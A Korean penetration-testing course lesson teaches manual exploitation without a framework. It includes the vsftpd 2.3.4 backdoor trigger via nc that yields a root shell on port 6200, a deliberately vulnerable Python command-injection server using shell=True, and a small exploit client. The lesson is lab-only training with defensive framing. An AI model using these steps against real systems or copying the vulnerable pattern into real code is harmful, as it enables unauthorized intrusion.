어떤 수업을 찾고 있나요?

예: PowerShell, 네트워크, XSS, Step 138

전체 커리큘럼 둘러보기 →

침투 실습

Step 120. 수동 익스플로잇 1: 프레임워크 없이 공격 — 버튼 뒤의 동작을 손으로 재현한다

Step 120

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 4시간

전제: Step 116~119를 마쳤다. Metasploit으로 vsftpd 백도어를 터뜨려 봤고(Step 117), nc를 자유롭게 쓴다(Step 119).

  • 준비물: Kali와 MS2 (또는 Kali 한 대 — 모사 서버를 직접 띄웁니다), 터미널 2개, 메모장
  • 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

Step 117에서 여러분은 Metasploit에 대상만 알려 주고 쉘을 얻었습니다. 편했지만, 정작 "무슨 요청이 날아갔는지"는 검은 상자 속입니다. 면접관이나 팀 선배가 "그 익스플로잇이 실제로 뭘 하는 건데요?"라고 물으면 버튼만 눌러 본 사람은 대답하지 못합니다. 오늘은 프레임워크를 내려놓고, 취약점 하나를 맨손(nc와 파이썬)으로 재현합니다. 그리고 "공격을 설명하는 언어" — 어떤 입력 → 서버에서 무슨 일 → 결과의 3단 정리법을 배웁니다.


검수·실습 보완

2026-09-20 · 본문·코드 검토와 확인된 오류 수정. 전체 실습을 재실행했다는 표시는 아닙니다.

줄바꿈 이스케이프를 복원했습니다. 입력을 shell=True로 실행하는 예제는 취약성을 설명하기 위한 것이며 운영 서버 코드가 아닙니다. 일회용 격리 실습 환경에서 일반 사용자로만 다루고, 실제 파일·인증 정보를 넣지 마세요. 방어 구현은 명령 실행 자체를 피하거나 허용한 실행 파일과 인수를 분리해 shell=False로 호출하는 방식으로 비교합니다. 서비스 계정 권한과 입력 검증이 결과를 제한하는지 설명하세요.

공식·기술 참고: Python subprocess documentation

1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • vsftpd 백도어를 Metasploit 없이 nc만으로 수동 발동시킨다
  • 취약 서비스의 원리(검증 없는 입력 실행)를 모사 서버로 직접 만든다
  • 공개 익스플로잇 코드에서 "대상·포트·명령" 부분을 찾아 읽는다
  • 공격 과정을 "입력 → 서버 내부 동작 → 결과" 3단으로 설명한다
  • 공개 익스플로잇이 안 돌아갈 때 확인할 것들을 나열한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 Kali 쉘 + 파이썬 3, nc (새로 설치하는 것 없음)
오늘의 명령 nc 대상 포트, searchsploit 키워드, python3 exploit.py
필요한 개념 백도어 트리거, 명령 인젝션, 익스플로잇 코드의 구조
오늘의 산출물 수동 공격 3단 정리 노트 + 원리 모사 취약 서버

2-1. "수동"의 의미 — 버튼이 아니라 과정을 누른다

Metasploit의 run 한 번은 내부에서 이런 일을 합니다: 대상에 TCP 접속 → 취약점을 발동시키는 입력 전송 → 백도어/쉘 연결. 수동 공격은 이 세 단계를 우리 손으로 하나씩 하는 것입니다. 프레임워크가 해 주던 일을 직접 해 보면, 도구가 실패했을 때 "어느 단계에서 막혔는지"를 볼 수 있는 눈이 생깁니다.

2-2. 백도어 트리거 — 특정 입력에만 열리는 숨은 문

Step 117의 vsftpd 2.3.4 백도어를 기억하나요? 사용자명에 :)가 들어간 채 로그인을 시도하면, 서버가 조용히 6200번 포트에 뿌리 권한 쉘 문을 엽니다. 여기서 취약점의 본질은 "특정 입력(웃는 얼굴) → 숨은 동작(6200번 개방)"이라는 구조입니다. 트리거 문자열과 결과 포트를 알면, 그것을 발생시키는 것은 거창한 도구가 아니라 nc 두 번입니다.

2-3. 명령 인젝션 — 입력을 프로그램의 명령으로 실행하는 취약점

이 챕터의 모사 대상입니다. 서비스가 사용자 입력을 검증 없이 운영체제 명령으로 실행해 버리면, 공격자는 "데이터인 줄 알았던 것"에 명령을 심어 서버에서 실행시킬 수 있습니다. distcc(분산 컴파일 데몬)의 유명 취약점이 이 유형입니다 — 컴파일 요청인 척하는 데이터에 셸 명령이 들어가 그대로 실행됩니다. 오늘 3-2에서 이 원리를 파이썬 서버로 직접 만들어 봅니다.

2-4. 공개 익스플로잇 읽기 — searchsploit과 코드의 세 부분

Exploit-DB는 공개 익스플로잇의 창고이고, Kali의 searchsploit 키워드는 그 로컬 사본을 검색합니다. 코드를 열면 대개 세 부분입니다 — ① 대상 설정(IP/포트/변수), ② 취약점 발동 요청 만들기, ③ 결과 받기(쉘 연결 등). 전부 이해할 필요는 없습니다. "어떤 바이트가 어느 포트로 나가는가"만 읽으면 수동 재현이 가능합니다.


3. 따라 하기

3-1. vsftpd 백도어를 맨손으로 — Metasploit이 해 준 일의 재현

Step 117의 같은 취약점을, 이번에는 nc만으로 발동시킵니다. (아래 출력은 출력 예시입니다 — 여러분의 Kali↔MS2 랩에서 직접 확인하세요.)

입력 (터미널 1 — 트리거 심기)

nc MS2_IP 21
220 (vsFTPd 2.3.4)
USER hack:)
331 Please specify the password.
PASS x

입력 (터미널 2 — 열린 뒷문으로 접속)

nc MS2_IP 6200
whoami
root

읽는 법: 사용자명 hack:)에 담긴 :)가 트리거입니다. 로그인은 실패해도 됩니다 — 백도어는 로그인 성공이 아니라 "시도 속의 특정 문자열"에 반응합니다. 접속을 유지한 채 새 터미널에서 6200번을 두드리면 뿌리 쉘이 기다립니다. Metasploit이 Step 117에서 해 준 일이 정확히 이것입니다.

왜: 같은 취약점을 버튼으로 한 번, 손으로 한 번 해 보면 "도구 = 자동화된 손"이라는 사실이 체감됩니다. 이 대조가 오늘 챕터의 핵심 경험입니다.

3-2. 원리 모사 — 입력을 그대로 실행하는 취약 서버 만들기

랩 밖에서도 같은 원리를 실험할 수 있게, distcc 류 취약점의 심장을 파이썬으로 재현합니다. Kali에서 만드세요 (본 교재는 우분투 랩에서 2026-09-09에 실측했습니다).

입력 (vuln_cmd_server.py)

import socket, subprocess

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 3632))   # distccd의 실제 포트 번호 흉내
srv.listen(1)
print("vuln server listening on 3632", flush=True)
conn, addr = srv.accept()
data = conn.recv(4096).decode().strip()
# 취약점: 입력을 검증 없이 셸 명령으로 실행
out = subprocess.run(data, shell=True, capture_output=True, text=True)
conn.sendall((out.stdout + out.stderr).encode() or b"(no output)\n")
conn.close(); srv.close()

읽는 법: 3632번 포트로 들어온 문자열을, 검증 없이 subprocess.run(..., shell=True)으로 운영체제에 넘깁니다. 정상적인 서비스라면 입력을 "데이터"로만 취급해야 하지만, 이 서버는 "명령"으로 실행합니다. 실제 취약 서비스들의 내부가 바로 이런 형태의 실수를 품고 있습니다. 한 손님을 처리하고 종료하는 단순 설계이므로, 매 공격마다 다시 실행합니다.

주의: 이 서버는 127.0.0.1에만 묶어 두세요. 다른 주소에 열면 여러분의 컴퓨터가 진짜 취약 서버가 됩니다.

3-3. 맨손 공격 — nc로 명령을 심어 보내기

입력 (터미널 1)

python3 vuln_cmd_server.py

입력 (터미널 2)

printf "whoami\n" | nc -w 2 127.0.0.1 3632

출력 (2026-09-09 실측):

root

서버를 다시 띄우고 이번에는 id를 보냅니다.

출력 (2026-09-09 실측):

uid=0(root) gid=0(root) groups=0(root)

읽는 법: 우리가 보낸 것은 데이터일 뿐인데, 서버에서 명령으로 실행돼 결과가 돌아왔습니다. 서버를 띄운 계정(여기서는 root)의 권한으로 실행됩니다 — 실제 랩의 distcc는 daemon 같은 제한된 계정으로 도는 경우가 많아, "얻은 쉘의 권한 = 서비스의 실행 계정"이라는 법칙을 확인하는 재료가 됩니다 (Step 121에서 비교표로 정리합니다).

왜: Metasploit 없이, Step 119의 nc 한 번으로 "원격 명령 실행"을 완성했습니다. 취약점이란 결국 "입력의 처리 실수"이고, 공격이란 그 실수를 건드리는 입력을 보내는 것입니다.

3-4. 익스플로잇 코드 읽기 — 공개 코드의 형태 흉내

Exploit-DB의 파이썬 익스플로잇들은 대개 이런 형태입니다. 우리 모사 서버용으로 축소한 것을 읽어 봅시다.

입력 (exploit_cmd.py)

import socket, sys

def exploit(host, port, cmd):
    s = socket.socket()
    s.settimeout(3)
    s.connect((host, port))
    s.sendall((cmd + "\n").encode())
    return s.recv(8192).decode().strip()

if __name__ == "__main__":
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 3632
    cmd  = sys.argv[3] if len(sys.argv) > 3 else "whoami"
    print(exploit(host, port, cmd))

입력

python3 vuln_cmd_server.py &              # 서버 재기동
python3 exploit_cmd.py 127.0.0.1 3632 "cat /etc/hostname"

출력 (2026-09-09 실측):

XI3492

읽는 법: 2-4에서 말한 세 부분이 보이나요? ① 대상 설정(host/port/cmd 인자 처리), ② 발동 요청 만들기(cmd + "n" 전송), ③ 결과 받기(recv). 공개 익스플로잇을 받았을 때 먼저 읽을 곳은 바로 이 세 곳입니다. 코드가 길어져도 뼈대는 같습니다.

왜: 그리고 하나 — 이 코드에 --help를 넣어 보면 이런 에러가 납니다 (2026-09-09 실측):

socket.gaierror: [Errno -2] Name or service not known

--help가 첫 번째 인자(host) 자리에 들어가 주소 해석에 실패한 것입니다. 세상의 공개 익스플로잇 다수에는 친절한 도움말이 없습니다. 인자의 순서와 의미는 코드에서 직접 읽는 것 — 그것이 수동 익스플로잇 실력의 절반입니다.

3-5. 3단 정리 — 공격을 설명하는 언어

오늘 한 공격을 문장으로 정리하는 연습입니다. 형식은 고정입니다.

[입력] 사용자명에 :)를 포함한 로그인 시도 / 포트 3632로 "whoami" 문자열
[서버 내부] 트리거 감지 → 6200번에 쉘 개방 / 입력을 검증 없이 셸로 실행
[결과] 6200번에서 뿌리 쉘 획득 / 명령 출력이 공격자에게 반환

읽는 법: 이 세 줄은 보고서, 면접, 팀 내 공유에서 그대로 쓰는 형식입니다. "취약점을 발동시키는 입력이 무엇인지", "서버에서 실제로 어떤 처리가 일어나는지", "공격자에게 무엇이 돌아오는지" — 셋을 말할 수 있으면 그 취약점을 이해한 것입니다.

왜: Exploit-DB에서 다른 서비스의 익스플로잇을 하나 골라(searchsploit), 이 3단 형식으로 요약해 보세요. 코드를 다 못 읽어도 3단을 채울 수 있으면 충분히 읽은 것입니다.


4. 미션과 연습문제

미션 — 수동 공격 3단 정리 노트

  1. 3-1의 vsftpd 수동 공격을 Kali↔MS2에서 성공시키고, 트리거 문자열과 결과 포트를 노트에 적는다
  2. 3-2의 모사 취약 서버를 만들고, 3-3처럼 nc로 whoami가 아닌 다른 명령 두 개(예: id, cat /etc/hostname)를 성공시킨다
  3. searchsploit으로 MS2의 서비스 중 하나를 검색해 익스플로잇 코드를 연다
  4. 그 코드에서 ① 대상 설정 ② 발동 요청 ③ 결과 받기 위치를 표시한다
  5. 그 취약점을 "입력 → 서버 내부 → 결과" 3단으로 요약해 노트에 추가한다

연습문제

문제 1. Metasploit의 run 버튼이 내부에서 수행하는 세 단계를 말해 보세요.

문제 2. vsftpd 백도어 공격에서 로그인이 실패해도 되는 이유를 "트리거" 개념으로 설명해 보세요.

문제 3. 3-2의 모사 서버가 취약한 정확한 한 줄은 무엇이며, 정상적인 서비스였다면 입력을 어떻게 처리해야 했나요?

문제 4. 공개 익스플로잇을 실행했더니 주소 관련 에러(이름 해석 실패)가 났습니다. 가장 먼저 확인할 두 가지는 무엇인가요?


해설과 완료 기준 · 펼치기/접기

5. 모범 답안과 완료 기준

미션 모범 답안

노트 예시 (distcc를 골랐다고 가정):

[수동 공격 1] vsftpd 2.3.4 — USER hack:) / PASS x 후 6200번 접속 → root 쉘
[수동 공격 2] 모사 서버(3632) — printf "id\n" | nc → uid=0(root) 확인
[코드 읽기] distccd 익스플로잇: 대상은 argv/host 변수, 발동은 컴파일 요청 속
            셸 명령 필드, 결과는 바인드/리버스 쉘 연결부
[3단 정리] 입력: 컴파일 요청으로 위장한 명령 문자열
           서버 내부: 요청을 검증 없이 셸로 실행
           결과: 서비스 계정(daemon) 권한의 명령 실행 → 쉘

검증하는 법: ① Metasploit 로그 없이 쉘을 얻었는가. ② 모사 서버 공격이 명령 두 개 이상 성공했는가. ③ 3단 정리가 "입력/내부/결과"를 빠짐없이 담는가. ④ 코드에서 읽어낸 세 부분이 실제 코드와 일치하는가.

연습문제 해답

문제 1 해답. 대상에 TCP 접속하기 → 취약점을 발동시키는 입력(트리거/페이로드) 전송하기 → 결과 연결(쉘 등) 수립하기. 수동 공격은 이 셋을 손으로 하나씩 수행하는 것입니다.

문제 2 해답. 백도어는 로그인 성공 여부를 보지 않고, 로그인 시도 안에 :) 문자열이 있는지만 감시합니다. 그래서 인증은 실패해도 트리거는 발동해 6200번 문이 열립니다. "입력 속 특정 패턴에 반응하는 숨은 동작"이 트리거입니다.

문제 3 해답. subprocess.run(data, shell=True, ...) — 네트워크에서 받은 문자열을 검증 없이 셸 명령으로 실행하는 줄입니다. 정상 서비스라면 입력을 데이터로만 취급하고(명령 해석을 하지 않고), 허용된 동작 목록과 대조해 검증해야 했습니다.

문제 4 해답. 첫째, 코드가 요구하는 인자의 순서와 개수(대상 IP가 첫 번째 자리에 갔는지). 둘째, 대상 IP/포트 변수가 내 랩 주소로 바뀌었는지. 공개 코드의 기본값은 저자의 환경 기준이라 내 랩과 다릅니다 — 그리고 도움말 옵션이 없는 코드가 많으므로 인자 규칙은 코드에서 직접 읽습니다 (3-4의 gaierror 사례).

완료 기준 체크리스트

  • [ ] vsftpd 백도어를 nc만으로 수동 발동시켰다
  • [ ] 모사 취약 서버를 만들고 명령 인젝션을 성공시켰다
  • [ ] "얻은 권한 = 서비스 실행 계정"을 설명할 수 있다
  • [ ] 공개 익스플로잇 코드에서 대상/발동/결과 세 부분을 찾을 수 있다
  • [ ] 인자 에러 시 코드에서 인자 순서를 읽어 해결할 수 있다
  • [ ] 공격 하나를 3단(입력→내부→결과)으로 요약해 적었다
  • [ ] 이 실습이 내 랩 전용임을 다시 확인했다

6. 흔한 실수와 해결

벽 1. 6200번에 접속해도 아무 반응이 없다

증상: 트리거를 보냈는데 nc MS2_IP 6200이 조용합니다.
원인: 트리거 접속(21번)을 끊었거나, :)가 제대로 전달되지 않았거나, 백도어가 열리기 전에 접속했을 수 있습니다.
해결: 21번 접속을 유지한 채로 새 터미널에서 6200번을 두드리세요. 사용자명에 :)가 정확히 포함됐는지(쌍점+괄호) 확인합니다.

벽 2. 공개 익스플로잇이 내 환경에서 안 돌아간다

증상: 남의 코드를 받아 실행했더니 에러만 납니다.
원인: 대상 IP/포트가 저자 기준이거나, 파이썬 버전 차이(2 vs 3)거나, 필요한 라이브러리가 없을 수 있습니다.
해결: ① 대상 변수부터 내 랩 주소로 고치고, ② python3로 실행해 보고, ③ 에러 메시지 첫 줄을 읽습니다. 코드를 "실행할 물건"이 아니라 "읽을 문서"로 대하면 막힘이 줄어듭니다.

벽 3. –help를 넣었는데 이상한 에러가 난다

증상 (2026-09-09 실측): python3 exploit_cmd.py --help → socket.gaierror: [Errno -2] Name or service not known
원인: --help가 도움말 스위치가 아니라 첫 번째 인자(host)로 해석돼 주소 해석에 실패했습니다.
해결: 공개 익스플로잇에는 도움말이 없는 경우가 많습니다. 코드의 인자 처리부(sys.argv)를 직접 읽고 순서대로 넣으세요.

벽 4. 모사 서버가 한 번 공격받고 종료된다

증상: 두 번째 공격에서 Connection refused.
원인: 예제 서버는 한 손님을 처리하고 끝나는 단순 설계입니다.
해결: 매번 다시 실행하세요. 계속 받게 하려면 accept를 while 루프로 감싸면 됩니다 — 직접 고쳐 보는 것도 좋은 연습입니다.

벽 5. 모사 서버를 0.0.0.0에 열었다

증상: 랩 안 다른 기기에서도 내 취약 서버에 접속이 됩니다.
원인: bind 주소를 0.0.0.0으로 두면 모든 인터페이스에서 받습니다.
해결: 학습용 취약 서버는 반드시 127.0.0.1에만 묶으세요. 의도적으로 만든 취약점을 외부에 노출하면 내 랩이 타인의 연습장이 됩니다.


7. 정리

오늘의 개념

개념 한 줄 설명
수동 익스플로잇 프레임워크 없이 접속·발동·결과를 손으로 수행하는 공격
트리거 취약점의 숨은 동작을 깨우는 특정 입력 (예: :) )
명령 인젝션 데이터여야 할 입력이 명령으로 실행되는 취약점
3단 정리 입력 → 서버 내부 동작 → 결과 — 공격을 설명하는 표준 형식
서비스 실행 계정 얻은 쉘의 권한을 결정하는 것 (서비스가 도는 계정)
searchsploit Exploit-DB 로컬 사본 검색 도구

오늘의 명령어

명령 하는 일
nc MS2_IP 21 후 USER hack:) vsftpd 백도어 트리거 심기
nc MS2_IP 6200 열린 백도어 쉘로 접속
searchsploit 키워드 공개 익스플로잇 검색
printf "명령n" | nc -w 2 대상 포트 모사 서버에 명령 심어 보내기
python3 exploit.py 대상 포트 명령 축소 익스플로잇 실행

명령어보다 중요한 감각

오늘의 핵심 문장은 "도구는 자동화된 손이다"입니다. Metasploit이 하는 일을 nc 두 번으로 재현해 봤으므로, 이제 도구가 실패해도 어느 단계가 막혔는지 볼 수 있습니다. 실전에서는 환경이 달라 공개 익스플로잇이 그대로 안 돌아가는 경우가 훨씬 많습니다 — 그때 살아남는 사람은 버튼을 아는 사람이 아니라 과정을 아는 사람입니다.

그리고 3단 정리(입력 → 내부 → 결과)는 방어자의 언어이기도 합니다. 방어자는 "어떤 입력이 위험한가"를 알아야 막을 수 있습니다. 공격을 설명할 수 있는 사람이 방어 규칙도 설계합니다.


전부 체크되면 Step 120 완료입니다.

한 단계 더 가까이

수업을 마쳤나요?

본문의 완료 기준을 확인한 뒤 직접 표시하세요.

화면이나 링크에 문제가 있나요? 알려주세요.
다음 수업